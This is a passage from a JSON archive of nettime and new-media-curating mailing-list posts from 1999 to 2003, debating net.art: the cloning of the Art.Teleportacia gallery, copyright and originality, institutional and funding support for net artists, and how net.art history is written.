http://remote.aec.at. Random is a\nnice idea.\n\nLB: The toolbar becomes useless, the \"back\" command loses its logical\nfunction: OL: its a fault..\n\nLB: every page is set in the unpredictable sequence of chance.  \n0100101110101101.ORG downloads the websites of the most popular\nnet.artists and then s/he/it/them manipulates them as \"it\" wants, using\nthem in an interactive way. OL: what you call interaction i still cant\nunderstand.\n\n\nLB: The night of 9th june, it was the turn of \"Art.Teleportacia\"'s.\n\"Art.Teleportacia\" is the first net.art gallery to have appeared in the\nweb, and also the first attempt to sell works of net.art. The exhibition\nwe're talking about was \"Miniatures of the heroic period \", and consisted\nof some pages by five of the most known net.artists in the world - Jodi,\nVuk, Irational, Easylife and Lialina - for sale at 2000 $ each.\n0100101110101101.ORG cloned the gallery. OL: as it seems you are an expert\nnot only in interactivity. What is made on 0100101110101101.ORG is a\nparody, clone means complite identity.\n\nLB: manipulated the contents and uploaded it in a new \"anticopyright\"\nversion, obviously without asking permission to anyone and violating the\ncopyright of the original site. The exhibition changed its name into\n\"Hybrids of the heroic period \", and the five \"original\" works were\nreplaced with as many \"hybrids\", files obtained mixing pages by\nnet.artists with some trash of the web. OL: Good. this is actually what I\nlike in 0100101110101101.ORG. Right attitude - to be a spider. And not\nonly to make a web, but to make it on purpose: to catch flys. Not only to\nmake links but to be able to work and play with things which are already\ncreated in the net.\n\nLB: The theoretical pillars that hold Art.Teleportacia are mainly three: -\n1 A work of net.art can be sold as well as any other work of art OL: Right\n\nLB: 2 Each net.art work must be covered by copyright and nobody, except\nthe artist, can download it or even link to it without the permission of\nthe author. OL: Not true\n\nLB: 3 The \"sign\" of a net.art work is in the \"Location bar\", so the url is\nthe only guarantee of originality. OL: Not the only, but the most\neffective.\n\nLB: Cloninig Art.Teleportacia 0100101110101101.ORG brought down all the\npresuppositions of the gallery, the contradictions which this way of\nthinking runs into became evident. OL: Making a parody on Art.Teleportacia\n0100101110101101.ORG brought new clients to the gallery and good publicity\nfor itself.\n\nLB: Technically, whoever visits a site downloads automatically, in the\ncache, all the files he sees. In fact s/he already owns them, therefore it\nis nonsense to sell pages already being in the hard disks of millions of\npeople. OL: This I already heard from media curators who wanted to have my\nworks for nothing and to earn money on them. But its an illusion.\n\n\nLB: - it would be more useful to tell the public the fastest way to\ndownload the whole website. We must keep in mind that net.art is digital,\nit is binary code, everything is reproducible to infinity without losing\nquality... just numbers! - finally, we entered the \"age of its technical\nreproducibility\" - and every copy is identical to the \"original\" one. The\nconcept itself of an \"original\" is now meaningless OL: no, now it is\nmeaningful as never before. will explain in the end why.\n\nLB: and even the concepts of false and plagiarism don't exist any longer.\nIf it's obsolete to talk about \"originals\" in the real world, it becomes\nabsolutely paradoxical in the web. OL: Im not very much involved in real\nworld business, but if this issue would be obsolete you, Luther, wont be\nable to get money from your publishing house.\n\nLB: We wish to see hundreds of 0100101110101101.ORG repeating sites of\nnet.artists endlessly, so that nobody realizes which was the \"original\"\none, we would like to see hundreds of Jodi and hell.com, all different,\nall original, and nobody filing lawsuits for copyright infringement, there\nwould be no more originals to preserve.\n\nOL: Are you really familiar with net art or net in general? if yes you\nshould know that copying is not a big deal. You can make hundreds of\nArt.Teleportacia galleries, but next day they will be only hundreds of\noutdated pages with not actual information and broken links, because I\nwill update only http://art.teleportacia.org . The same with all on line\nart and not art works. What is done on the net is not a book or cd or tape\nkind of product. It is not complete, not frosen, but can be changed every\nmoment. And this moment is a difference between copies and originals.\n\n\nLB: Art.Teleportacia: clone:\nhttp://www.0100101110101101.ORG/Art.Teleportacia \"original\":\nhttp://art.teleportacia.org/art-mac.html OL: Art.Teleportacia URL is\nhttp://art.teleportacia.org\n\n\n",
                "date": "Sat, 10 Jul 1999 16:25:04 +0200 (CEST)",
                "to": "nettime-l-temp <nettime-l-temp {AT} material.net>",
                "message-id": "Pine.LNX.4.04.9907101622050.7787&#45;100000 {AT} basis.desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9907/msg00035.html",
                "list": "nettime_l",
                "author_name": "nettime maillist",
                "subject": "olia lialina: Re:art.hacktivism"
            },
            {
                "content-type": "text/plain",
                "from": "- G a r r e t t -",
                "content": "\nHi everyone, seem to have missed a few emails as my account put them\nin a bulk folder thinking they were spam, so i'll try and get to each\nof them here now....\n\n\n>I have to say that I=B9m offended by this whole thread on Rhizome and this is\n>likely the first time I have posted to this listserve. I=B9m offended because\n>I feel Rhizome and any online net art institutions/orgs like it are\n>essential to the community of artists and researchers that have developed\n>around it.=20\n\nhi Camille, first i'd like to say its great you joined the list and i\nhope you stay on to participate as i know your involved in a very\ngood festival (far from being just a poor grad student) so you have a\nlot to add here!\n\ni can't stress this enough i did say in the first postings about\nthis, that this was'nt about rhizome as such but that the recent\nchanges in rhizome and one or two other occurances in the net.art\n'world' caused me to initiate the discussion.  one of the people who\nresponded picked up on the rhizome element and continued conversation\nabout that.  its a big thing and is unavoidable at the moment but the\ndiscussion was on what we as net.artists can do to develop and\nfurther the situation of net.art, how we can make approaches to\ninstitutions so that we have more input on how our work is shown and\narchived, how to generate solutions to showing net.art in physical\nspaces, issues to do with funding, how we could develop new formats\nto share information accross communities and generally make net.art\nmore visible.\n\nplease anyone on the list who is following this discussion don't feel\nany animosity about this or feel alienated from the discussion, have\nyour say!!, what i am hoping we will achieve is some open critical\ndiscussion where we might come up with some ideas and solutions!\n\n\n>So far, The mercantile solutions aren't doing the trick, although the Thing\n>seems to be holding it together,  even though they have the yearly crisis.\n\nwhat are the Thing doing these days? its been a while since i saw\nanything involving them, their net.presence seems to have diminished!\n\n\n>Sure, the Whitney has the Artport, but my point is talking about integration\n>within the gallery, which is a bit antithetical to the genre, but I think\n>that it's necessary as a form of bridge.\n\ni was reading something somewhere (perhaps it was here, not sure)\nfrom a curator giving suggestions as how to tackle this fundamental\nproblem.  they suggested two approches. the first being that you\ncreate something unique in terms of the way the work is presented /\ninterfaced with in a public space such as a gallery.  this was\ninteresting but i think would fail for a high majority of net.art\nprojects because by adding this 'unique' location based experience,\nwell the work is no longer really a piece of net.art but more a\ncombination of net.art and installation to some degree.\n\nthe second seemed when i read it sort of obvious and banal, but on\nreflection quite clever, they suggested net.art that was to be shown\nin a gallery or indeed any location should be created in some way\nthat it was site specific, now this seems quite fixed and\nimmediatlely you think the work has to be some sort of response to\nthe physical space and so would influence both content and\npresentation, but seeing as a lot of net.art plays on elements to do\nwith key themes such as location (or more absence here), identity\n(until now tied to the physical but here using the new concept of\navatars), the body (elements of both the previous) and the network\n(the new location?) it gives much wider and flexible elbow room!!\nnot perfection by any means but one of the best approaches i've heard\nso far.\n\n\n>Good point.  My mentor in grad school (whom, I feel, taught me so well that\n>I left before finishing - I think it had something to do with snatching that\n>pebble out of his hand) once said that the most honest art he had ever seen\n>was made by a 2-year old.  I would argue that in the case of net art, this\n>would be possible, but unlikely.  There is too much cultural baggage tied up\n>with it; such as proficiency, access, etc.\n\nyes i agree it is unlikely, but the possibility is there and\nespecially within net.art identity and age become meaningless as this\nis played upon / created to such a great extent within this medium\n(or bricolage of mediums!).\n\n\n>This is a great approach, but the question remains: Which institutions are\n>willing to work with the artists, and which artists are willing to work\n>hand-in-hand with an institution? I'd love to give it a try.\n\nand here's the stumbling block!  certainly i'd love to have some\naccess to an art institution here in England where i could start have\nsome input but it does seem to be incredible hard to break into them.\nup till now i've worked voluntarily with one media community based\nfestival for new media for a year here and put in quite a bit of work\nto keep their website ticking over and attempt to get them to widen\ntheir vision. only to find recently the festival taken away from us,\nhanded over to another group who bought a new domain name for the\nfestival (we owned the original), started a new website which for the\nmoment has only a splash screen even though the event itself will be\nhappening in less than 15 days, plans to not allow any of the former\ncommunity (mailing list of over 100 at one stage) participate in\nether the website (its all in flash, no database used, no structure\nso impossible to update easily) or the mailing list (they are now\nusing none) and never communicated any information to us about what\nwas happening even though we had worked for free and intented to\ncontinue doing so!  so what do you do in a situation like this where\nyou can't even give your services away?\n\nthe reason i posted here as opposed to say \"_arc.hive_ \", \"nettime\",\n\"spectre\", \"rhizome\" whatever...  was because this list is\nspecifically on curating and i know there are people in institutions\non this list, who unfortunity for the most part have stayed silent\nfor the moment, i second your \"i'd love to give it a try\" so why\ndoes'nt some institution take us up on the offer?\n\n\n>I am working in funding body.  It does funded new media work and there is\n>certain institutions receive funding, and a lot of interesting project going\n>on. However, I do agree the structure not there, e.g. network, education,\n>promotion...   In the recent selection of Award for Artists (one of the\n>funding scheme) the quality of applications that we received in the new\n>media arts section is so bad (not being critical, but really is true) I\n>wonder why the sector keep shouting there is no funding while we only\n>receive poor application? I understand there is frustration there to deal\n>with the funder, but the situation should be changed, both the attitude and\n>communication of both the funded and funding bodies.\n\nperhaps your not shouting loud enough?  what is the name of the\nfunding body because from what you have said here it does'nt ring any\nbells with me?  i can't comment too much from the organisers side as\ni don't have direct experience of artists submissions so i don't know\nwhether they are generally good or bad but i will say if the awards\nare open to me (nationality, location etc) then i would apply so...\nplease tell us more!\n\n\n>I would, however, like\n>to throw out the idea that net art is a critical stance rather than an art\n>form, much the same way as \"conceptual art\" now is. Can a painting be net\n>art? Sure, why not?\n\nmmmm interesting stance, i'm not a purist by any means and certainly\ndon't hold with ideas that net.art is only ascii based etc but i need\nto think on this one, you've made me hesitate, so i think i'm in\nagreement with you!\n\n\n>So where is the net art discourse? Not with Lev Manovich, heaven forbid\n\nslap your hand for going against the tides of popularism!!!  :)\n\n\n>I've decided we may have came up with an answer. Not THE answer but\n>certainly >a response to this particular call.\n>\n>More over the weekend.\n\nwaiting anxiously!\n\na+\ngar\n\n--\n+-----------------------------------------------------------+\n\n[log in to unmask]\nhttp://www.asquare.org/\nhttp://www.bannerart.org/\nhttp://www.zendco.com/\n\n+-----------------------------------------------------------+",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind03&L=new-media-curating&F=&S=&P=25602",
                "follow-up": [
                    {
                        "from": "Zoe Li",
                        "content": "\nDear All,\nI think I should response to this email while I am the only one mention\nabout funding bodies, perhaps I should make it clear.\n\nI join the South West Arts (one of the regional office of Arts Council of\nEngland) 6 months ago, I still have a lots of question of why the quality of\nthe funding application is so poor. I am not sure it is about the promotion\nof the arts council itself or there is generally a frustration building up\ntowards the funding body.  If you are an artist, and you want some funding\nsupport, where are you go to? Obviously the arts council will be one of the\noption.\n\nSWA funded couple good projects and some of the people in the list will know\nthat.  But I still don't understand why the respond on the award is not so\nideal. Maybe some of you should tell me why, I am actually posted a question\nhere, and will hope to open up a discussion.  I think the voice of funder\nalways very small, and funding officers always feel they are in the\nresponsive position. Perhaps we should go out more often.\n\nRegards,\nZoe\n\n\n\n\n\n\n\n\n\n----- Original Message -----\nFrom: \"- G a r r e t t -\" <[log in to unmask]>\nTo: <[log in to unmask]>\nSent: Saturday, February 15, 2003 1:04 PM\nSubject: Re: net.art situation\n\n\n> Hi everyone, seem to have missed a few emails as my account put them\n> in a bulk folder thinking they were spam, so i'll try and get to each\n> of them here now....\n>\n>\n> >I have to say that I=B9m offended by this whole thread on Rhizome and\nthis is\n> >likely the first time I have posted to this listserve. I=B9m offended\nbecause\n> >I feel Rhizome and any online net art institutions/orgs like it are\n> >essential to the community of artists and researchers that have developed\n> >around it.=20\n>\n> hi Camille, first i'd like to say its great you joined the list and i\n> hope you stay on to participate as i know your involved in a very\n> good festival (far from being just a poor grad student) so you have a\n> lot to add here!\n>\n> i can't stress this enough i did say in the first postings about\n> this, that this was'nt about rhizome as such but that the recent\n> changes in rhizome and one or two other occurances in the net.art\n> 'world' caused me to initiate the discussion.  one of the people who\n> responded picked up on the rhizome element and continued conversation\n> about that.  its a big thing and is unavoidable at the moment but the\n> discussion was on what we as net.artists can do to develop and\n> further the situation of net.art, how we can make approaches to\n> institutions so that we have more input on how our work is shown and\n> archived, how to generate solutions to showing net.art in physical\n> spaces, issues to do with funding, how we could develop new formats\n> to share information accross communities and generally make net.art\n> more visible.\n>\n> please anyone on the list who is following this discussion don't feel\n> any animosity about this or feel alienated from the discussion, have\n> your say!!, what i am hoping we will achieve is some open critical\n> discussion where we might come up with some ideas and solutions!\n>\n>\n> >So far, The mercantile solutions aren't doing the trick, although the\nThing\n> >seems to be holding it together,  even though they have the yearly\ncrisis.\n>\n> what are the Thing doing these days? its been a while since i saw\n> anything involving them, their net.presence seems to have diminished!\n>\n>\n> >Sure, the Whitney has the Artport, but my point is talking about\nintegration\n> >within the gallery, which is a bit antithetical to the genre, but I think\n> >that it's necessary as a form of bridge.\n>\n> i was reading something somewhere (perhaps it was here, not sure)\n> from a curator giving suggestions as how to tackle this fundamental\n> problem.  they suggested two approches. the first being that you\n> create something unique in terms of the way the work is presented /\n> interfaced with in a public space such as a gallery.  this was\n> interesting but i think would fail for a high majority of net.art\n> projects because by adding this 'unique' location based experience,\n> well the work is no longer really a piece of net.art but more a\n> combination of net.art and installation to some degree.\n>\n> the second seemed when i read it sort of obvious and banal, but on\n> reflection quite clever, they suggested net.art that was to be shown\n> in a gallery or indeed any location should be created in some way\n> that it was site specific, now this seems quite fixed and\n> immediatlely you think the work has to be some sort of response to\n> the physical space and so would influence both content and\n> presentation, but seeing as a lot of net.art plays on elements to do\n> with key themes such as location (or more absence here), identity\n> (until now tied to the physical but here using the new concept of\n> avatars), the body (elements of both the previous) and the network\n> (the new location?) it gives much wider and flexible elbow room!!\n> not perfection by any means but one of the best approaches i've heard\n> so far.\n>\n>\n> >Good point.  My mentor in grad school (whom, I feel, taught me so well\nthat\n> >I left before finishing - I think it had something to do with snatching\nthat\n> >pebble out of his hand) once said that the most honest art he had ever\nseen\n> >was made by a 2-year old.  I would argue that in the case of net art,\nthis\n> >would be possible, but unlikely.  There is too much cultural baggage tied\nup\n> >with it; such as proficiency, access, etc.\n>\n> yes i agree it is unlikely, but the possibility is there and\n> especially within net.art identity and age become meaningless as this\n> is played upon / created to such a great extent within this medium\n> (or bricolage of mediums!).\n>\n>\n> >This is a great approach, but the question remains: Which institutions\nare\n> >willing to work with the artists, and which artists are willing to work\n> >hand-in-hand with an institution? I'd love to give it a try.\n>\n> and here's the stumbling block!  certainly i'd love to have some\n> access to an art institution here in England where i could start have\n> some input but it does seem to be incredible hard to break into them.\n> up till now i've worked voluntarily with one media community based\n> festival for new media for a year here and put in quite a bit of work\n> to keep their website ticking over and attempt to get them to widen\n> their vision. only to find recently the festival taken away from us,\n> handed over to another group who bought a new domain name for the\n> festival (we owned the original), started a new website which for the\n> moment has only a splash screen even though the event itself will be\n> happening in less than 15 days, plans to not allow any of the former\n> community (mailing list of over 100 at one stage) participate in\n> ether the website (its all in flash, no database used, no structure\n> so impossible to update easily) or the mailing list (they are now\n> using none) and never communicated any information to us about what\n> was happening even though we had worked for free and intented to\n> continue doing so!  so what do you do in a situation like this where\n> you can't even give your services away?\n>\n> the reason i posted here as opposed to say \"_arc.hive_ \", \"nettime\",\n> \"spectre\", \"rhizome\" whatever...  was because this list is\n> specifically on curating and i know there are people in institutions\n> on this list, who unfortunity for the most part have stayed silent\n> for the moment, i second your \"i'd love to give it a try\" so why\n> does'nt some institution take us up on the offer?\n>\n>\n> >I am working in funding body.  It does funded new media work and there is\n> >certain institutions receive funding, and a lot of interesting project\ngoing\n> >on. However, I do agree the structure not there, e.g. network, education,\n> >promotion...   In the recent selection of Award for Artists (one of the\n> >funding scheme) the quality of applications that we received in the new\n> >media arts section is so bad (not being critical, but really is true) I\n> >wonder why the sector keep shouting there is no funding while we only\n> >receive poor application? I understand there is frustration there to deal\n> >with the funder, but the situation should be changed, both the attitude\nand\n> >communication of both the funded and funding bodies.\n>\n> perhaps your not shouting loud enough?  what is the name of the\n> funding body because from what you have said here it does'nt ring any\n> bells with me?  i can't comment too much from the organisers side as\n> i don't have direct experience of artists submissions so i don't know\n> whether they are generally good or bad but i will say if the awards\n> are open to me (nationality, location etc) then i would apply so...\n> please tell us more!\n>\n>\n> >I would, however, like\n> >to throw out the idea that net art is a critical stance rather than an\nart\n> >form, much the same way as \"conceptual art\" now is. Can a painting be net\n> >art? Sure, why not?\n>\n> mmmm interesting stance, i'm not a purist by any means and certainly\n> don't hold with ideas that net.art is only ascii based etc but i need\n> to think on this one, you've made me hesitate, so i think i'm in\n> agreement with you!\n>\n>\n> >So where is the net art discourse? Not with Lev Manovich, heaven forbid\n>\n> slap your hand for going against the tides of popularism!!!  :)\n>\n>\n> >I've decided we may have came up with an answer. Not THE answer but\n> >certainly >a response to this particular call.\n> >\n> >More over the weekend.\n>\n> waiting anxiously!\n>\n> a+\n> gar\n>\n> --\n> +-----------------------------------------------------------+\n>\n> [log in to unmask]\n> http://www.asquare.org/\n> http://www.bannerart.org/\n> http://www.zendco.com/\n>\n> +-----------------------------------------------------------+",
                        "id": 0,
                        "date": "Sun, 16 Feb 2003 22:57:47 -0800",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind03&L=new-media-curating&F=&S=&P=26314",
                        "content-type": "text/plain",
                        "author_name": "Zoe Li",
                        "subject": "Re: net.art situation"
                    },
                    {
                        "from": "Murphy",
                        "content": "\nI don't want to hijack Crumb for my own topic since I actually like the idea\nof structured moderation for a list like this. But I see there isn't a theme\nthis month so perhaps we can take some of these questions and give them some\nform for a future monthly theme.\n\nRob\n\non 2/15/03 4:04 PM, - G a r r e t t - at [log in to unmask] wrote:\n\n> what are the Thing doing these days? its been a while since i saw\n> anything involving them, their net.presence seems to have diminished!\n\nYou may have noticed recently The Thing was involved in a controversy over a\nDow Chemical parody, which resulted in their Internet provider, Verio,\ndeciding to cut their access for good. I don't know whether Wolfgang has\nfound another one yet, most likely in Europe, that won't give in to DMCA\nthreats.\n\nTT has been around since 1991 and has never, itself, had much of a\nnet.presence. It's more of a generator or \"animator\", if you will.\n\n\n\nSince March's theme is \"Curatorial Models\" that may be a more proper time\nto go into the various online curatorial (or anti-curatorial, depending on\nyour POV) projects based in NYC that I was involved with over the past ten+\nyears -- TT, ada'web, Plexus, artnetweb, Rhizome, etc. and the problems they\nencountered.\n\n>> I would, however, like\n>> to throw out the idea that net art is a critical stance rather than an art\n>> form, much the same way as \"conceptual art\" now is. Can a painting be net\n>> art? Sure, why not?\n>\n> mmmm interesting stance, i'm not a purist by any means and certainly\n> don't hold with ideas that net.art is only ascii based etc but i need\n> to think on this one, you've made me hesitate, so i think i'm in\n> agreement with you!\n\nSince it's been raining here today I've hunkered down and read through parts\nof \"Conceptual Art: A Critical Anthology\" edited by Alexander Alberro and\nBlake Stimson (MIT Press, 2000). Only rain could force me to read through\nold Art & Language texts but, having done so, I'm convinced that history\ndoes repeat itself, especially art history. So much of net art discourse,\nsuch as it is, is conceptual art discourse. Net.art (with the dot), as\nformulated by Vuk and, more so, Alexi Shulgin and others on nettime was\nbased in this belief of already been there, done that but now we have\ncomputers and modems.\n\nOf course, conceptual art was a big influence on many of us of a certain age\nin NYC who got involved with the early '90s (including Wolfgang Staehle, GH\nHovagimyan, Remo Campopiano, Stephen Pusey, Benjamin Weil, Adrianne Wortzel,\nJordan Crandal, myself and many others). Most of us had art careers before\nthe net and I think we all thought of it as an continuation of our existing\nart practice not changing careers. For me, I thought I finally had the tools\nto, in Joseph Kosuth's terms, \"manifest my intent\" in a way I couldn't with\npaint and canvas or, for that matter, critical theory.\n\nSo, you see, from my POV, it doesn't make sense to view net art as an art\nform but, at most, a tool (like theory more than a brush). It makes even\nless sense to squeeze net art into an institutional, curatorial category.\nBut then we get back to questions asked by conceptual art...\n\n\nBest,\n\nRob\noffshore|online",
                        "id": 0,
                        "date": "Sun, 16 Feb 2003 19:09:15 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind03&L=new-media-curating&F=&S=&P=27034",
                        "content-type": "text/plain",
                        "author_name": "Murphy",
                        "subject": "Re: net.art situation"
                    },
                    {
                        "from": "- G a r r e t t -",
                        "content": "\n>I don't want to hijack Crumb for my own topic since I actually like the idea\n>of structured moderation for a list like this.\n\nme too but what i don't understand is that i never see discussion on\nthe themes coming through the list, just the messages from beryll at\nthe start of the month announcing the theme and i'm thinking this is\ndue to that 'reply' quirk that this list is using (ie not responding\nto the list but someone in the list) that was picked up on last week.\nat first glance that seems to be fixed now so hopefully....\n\ni was a bit nervious about posting through the list initially as\nwell, but nobody has said anything, if required and there is interest\nwe could always start a temporary list on something like yahoo to\ntake this further, let me know what you think because it might be\nseen that we're trying to ciphen off members to a different list!\n\n\n>But I see there isn't a theme\n>this month so perhaps we can take some of these questions and give\n>them some form for a future monthly theme.\n\nit would be welcome, its a HUGH topic with so many possible threads\nof discussion it will be difficult to do, but someone's got to!\n\n\n>So, you see, from my POV, it doesn't make sense to view net art as an art\n>form but, at most, a tool (like theory more than a brush).\n\ni see your point, but at present due to my age i don't have the\nexperience of passing through a few art 'forms' or tools as you\nprefer, to be able to take the stance that the end defines the means,\nie i want to create art and will use whatever necessary to do it\nregardless of how that will classify the work once its finished, if\ni've used video it must be video art, if i've used html it must be\nnet.art etc.\n\ngenuinely this is'nt trying to be sarcastic, but i guess with a few\nmore years behind me i will take the same point of view.  i certainly\nwas'nt around at the start of net.art and am the first to admit that\nbut feel i have plenty to bring it.  for the moment i guess i have\nbeen pigeon-holed as a net.artist and in a way thats bad but feel the\nsacrifice is necessary if i want to excel at any one tool, a trade up\nif you will for the present.\n\n\n>  It makes even less sense to squeeze net art into an institutional,\n>curatorial category. But then we get back to questions asked by\n>conceptual art...\n\nits the curating that needs to change more than the arts, thats very\nobvious here, so i don't think it will ever be squeezing net.art into\nan institution as such.  whats needed though for curators to\nunderstand how to start to form structures that can cope with art in\nall its new 'forms' (art does'nt have a form as such so this takes in\neverything from my 'net.art form' to your 'tool' without any\nproblems) is that artists, and increasingly technical people, are\nworking with them.\n\na+\ngar\n\n--\n+-----------------------------------------------------------+\n\n[log in to unmask]\nhttp://www.asquare.org/\nhttp://www.bannerart.org/\nhttp://www.zendco.com/\n\n+-----------------------------------------------------------+",
                        "id": 0,
                        "date": "Mon, 17 Feb 2003 15:21:34 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind03&L=new-media-curating&F=&S=&P=28425",
                        "content-type": "text/plain",
                        "author_name": "- G a r r e t t -",
                        "subject": "Re: net.art situation"
                    },
                    {
                        "content-type": "text/plain",
                        "from": "Murphy",
                        "content": "\non 2/17/03 10:21 AM, - G a r r e t t - at [log in to unmask]\nwrote:\n\n> me too but what i don't understand is that i never see discussion on\n> the themes coming through the list, just the messages from beryll at\n> the start of the month announcing the theme and i'm thinking this is\n> due to that 'reply' quirk that this list is using (ie not responding\n> to the list but someone in the list) that was picked up on last week.\n> at first glance that seems to be fixed now so hopefully....\n\nThe mailinglist program is set to \"reply goes to sender\" rather than \"reply\ngoes to list\" or something like that. I've adjusted. Why there is no\ndiscussion on the themes is another matter. Lists with specific themes need\nmoderators who are anal compulsive and have lots of time to screen posts and\nwrite summaries (I know, I've done it). I suspect neither Beryl nor Sarah\nfit this discription.\n\nSo it's up to us to make interesting posts on topic. Since there is no topic\nthis month we have a bit of leeway.\n\n> i was a bit nervious about posting through the list initially as\n> well, but nobody has said anything, if required and there is interest\n> we could always start a temporary list on something like yahoo to\n> take this further, let me know what you think because it might be\n> seen that we're trying to ciphen off members to a different list!\n\nOh, god, not another list. There was already a month with a net art theme\nwith the contributors to Cream (of which I'm a backslider). jodi.org scared\na lot of people away. So, maybe we can smuggle net art into the \"curatorial\nmodels\" theme next month. I have no problem with seeing net art as a\ncuratorial model.\n\n> i see your point, but at present due to my age i don't have the\n> experience of passing through a few art 'forms' or tools as you\n> prefer, to be able to take the stance that the end defines the means,\n> ie i want to create art and will use whatever necessary to do it\n> regardless of how that will classify the work once its finished, if\n> i've used video it must be video art, if i've used html it must be\n> net.art etc.\n\nI see from your links you're in an MFA program (or whatever it's called\nthere). I take it you're in Dublin but you write about applying for English\nfunds so I assume your home is in England (or is it the other way around?) I\nnow live in exile on an island in the Gulf of Mexico but I spent the first\nhalf of my life in Idaho and the second half in New York City with a stop in\nIndiana for Graduate School in painting, which I never finished.\n\nI give some of my background so people will have a better idea of why I see\ncertain things the way I do and why I'm using certain references. I don't\nexpect you to have had the same experiences or to follow in my footsteps.\n\nI certainly don't take the stance that \"the end defines the means\". More the\nother way around, that the end may be one manifestation of the means. But we\ncan get into this at another time.\n\n> genuinely this is'nt trying to be sarcastic, but i guess with a few\n> more years behind me i will take the same point of view.  i certainly\n> was'nt around at the start of net.art and am the first to admit that\n> but feel i have plenty to bring it.  for the moment i guess i have\n> been pigeon-holed as a net.artist and in a way thats bad but feel the\n> sacrifice is necessary if i want to excel at any one tool, a trade up\n> if you will for the present.\n\nYou seem to be making of net.art what you need to. Don't worry about Vuk's\nretirement.\n\n> its the curating that needs to change more than the arts, thats very\n> obvious here, so i don't think it will ever be squeezing net.art into\n> an institution as such.  whats needed though for curators to\n> understand how to start to form structures that can cope with art in\n> all its new 'forms' (art does'nt have a form as such so this takes in\n> everything from my 'net.art form' to your 'tool' without any\n> problems) is that artists, and increasingly technical people, are\n> working with them.\n\nDon't be too hard on curators. The role has changed dramatically for a\nvariety of reasons over the past twenty years. Institutionally they've had\nto take on more and more work they probably shouldn't have to do and that\nhas made the role seem more important. In the 'seventies it was critics and\nart historians artists attacked. Curators, except for a few, mostly European\nsuperstars connected with Documenta, the Venice Bienale etc, then were\nrather kindred spirits of artists. How and why this has changed is a topic\nfor next month.\n\nBest,\n\nRob\n\noffshore|online",
                        "id": 0,
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind03&L=new-media-curating&F=&S=&P=29165",
                        "date": "Mon, 17 Feb 2003 17:09:39 -0500",
                        "list": "crumb",
                        "author_name": "Murphy",
                        "subject": "Re: net.art situation"
                    }
                ],
                "date": "Sat, 15 Feb 2003 21:04:42 +0000",
                "list": "crumb",
                "author_name": "- G a r r e t t -",
                "subject": "Re: net.art situation"
            },
            {
                "id": "00109",
                "content": "\n\nJosephine Berry wrote:\n\n> I could not have expected you to realise this (since I didn't explain), but the subject of my thesis *is* the group of artists that are loosely defined by the term 'net.art', and so the lack of a broader description is, to quite a large extent, intentional. \n\nI am very glad I reacted to it then, because it was totally unclear. I\nthink it is very important you add this piece of knowledge to your\nthesis and every part of it that you publish, as it now looks as if you\nare covering net art history in general. With all the confusion we have\nalready seen around the subject on various lists and considering the\nhunger for these kind of general insights and clarifications it is very\nlikely a text like yours could accidentally be used and spread as study\nmaterial representing the -entire- history of net art. Which it does\nnot. I must say that your clarification has made the text a lot more\nsympathetic to me, even if I have criticism still. It is also quite\nclear we need a lot of more specific or specialised researches of\ndifferent area's of net art. \n\n> which brings me to your criticism which is my tendency to see net.artists as having 'failed' in their own terms. In this chapter my argument is that it is the net.artists insistance on defending their art practice from dissolution in the wider network which collapses it back into the market-institutional framework from which they precisely tried to escape. In this respect it is the fact that they were hostile (in contrast to mail artists) to their work being adopted, manipulated, dissected, plagiarised etc. etc. by the *wider community* that, in my reading, amounts to a failure - and, ironically, in their own terms. \n\nThe 'net.artists' were absolutely not hostile to their work being\nmanipulated, dissected or plagiarised. On the contrary I would say, they\nare rather strongely influenced by the copy left ideas. The only thing\nthey initially found problematic was becoming institutionalised. Each of\nthem has dealt with this in a very different way in the end. As you may\nknow some of them simply proclaim net art is dead, to have some kind of\nexcuse for continuing their work on an institutional level or maybe just\nto have a way out of difficult media political and art institutional\nissues they became entangled in. These are individual strategies of a\nsmall group of artists though and they fit in their work. With all the\npranks and subversion of discourse we have dealt with coming from some\nnet.artists one should be careful with taking their words literally\nsometimes. When for instance Vuk Cosic goes to New York and says to art\nprofessionals that there have really only been five net.artists (to just\ngive an example of something that happened) it is quite ignorant to take\nthat as a fact and not see it in the light of his work. \nWhat I find and have found problematic in your writing about net.art is\nthat you tend to blow up the political aspect out of proportion instead\nof approaching this work mostly as art. This work has not failed as art,\nis what I am saying. I find it highly problematic to attach a label of\npolitical failure on this work in the context of nettime especially,\nwhere there has been so much ideological pressure on and hostility\ntowards net art practice.\n\n>I talk about the 01001etc.etc.org group as a hopeful instance of a practice which attacks intellectual art-property and opens up art to the massive creative potential inherent in the social field. I think this is a far more optimistic reading than any more limited celebration of specific artists.\n\nAgain, this is coming from a purely ideological approach of net art.\nFirst of all, 01001etc.etc.org seem just as much hot air as the\nnet.artists were in the political sense (I would underline 'in the\npolitical sense' if I could), secondly celebrating specific artists is\nnot at all what I am interested in and it should be clear from my work.\n(Maybe I am reading your comment as a criticism when it is not, then\nignore my remark.) It is important to explore and document the variety\nof artworks out there and the context they are made in. \n\n> The final thing to say on the issue of failure is the idea, expressed by the likes of Adorno and Debord, that the history of modern art is the history of its own endlessly deferred end. The autonomy which art gained from older forms of social service confronted it increasingly with the unfreedom of the world - a contradiction which precipitates its continued crisis. The 'failure' of the net artits is, in this sense, entirely in keeping with the wider movement of modern/post-modern art.\n\nWell, there is a lot that can be said about this. It seems to me this\nway of thinking could easily be replaced by another basic view of the\nworld, like any philosophy has its counter philosophy. I personally have\na lot of problems with terms like 'the end of' in relation to an\nabstraction like 'art' or 'modern art'. So even an endlessly deferred\nend is only a strategy to approach something. Not a very interesting one\nimho.\n\n\n\nbest\n\n\n\nJ\n*\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00109.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "Re: <nettime> Re: net art history",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "follow-up": [
                    {
